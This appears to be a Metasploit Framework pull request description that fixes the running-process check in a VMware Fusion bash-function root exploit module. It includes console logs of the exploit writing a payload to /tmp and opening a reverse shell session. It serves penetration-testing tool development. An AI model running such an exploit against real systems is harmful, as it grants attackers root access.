Fix processes check

See https://github.com/rapid7/metasploit-framework/pull/3882, the check wasn't working as expected on my system. This one is working for me, but I would feel more comfortable if you could verify. I just did dumb verification....

* Fusion running

```
msf exploit(vmware_bash_function_root) > check
rexploi[+] 192.168.0.4 - The target is vulnerable.
msf exploit(vmware_bash_function_root) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.0.4:4444
[-] VMware is already running the following processes:
   926   ??  S      0:00.00 /Applications/VMware Fusion.app/Contents/Library/VMware Fusion Services 3 4
[-] These processes must be killed before exploiting.
```

* Fusion not running

```
msf exploit(vmware_bash_function_root) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.0.4:4444
[*] Writing payload file as '/tmp/msjrnaohbttu'
[*] Running VMWare services...
[*] Command shell session 4 opened (192.168.0.4:4444 -> 192.168.0.4:49234) at 2014-09-25 00:22:41 -0500
[+] Deleted /tmp/msjrnaohbttu

```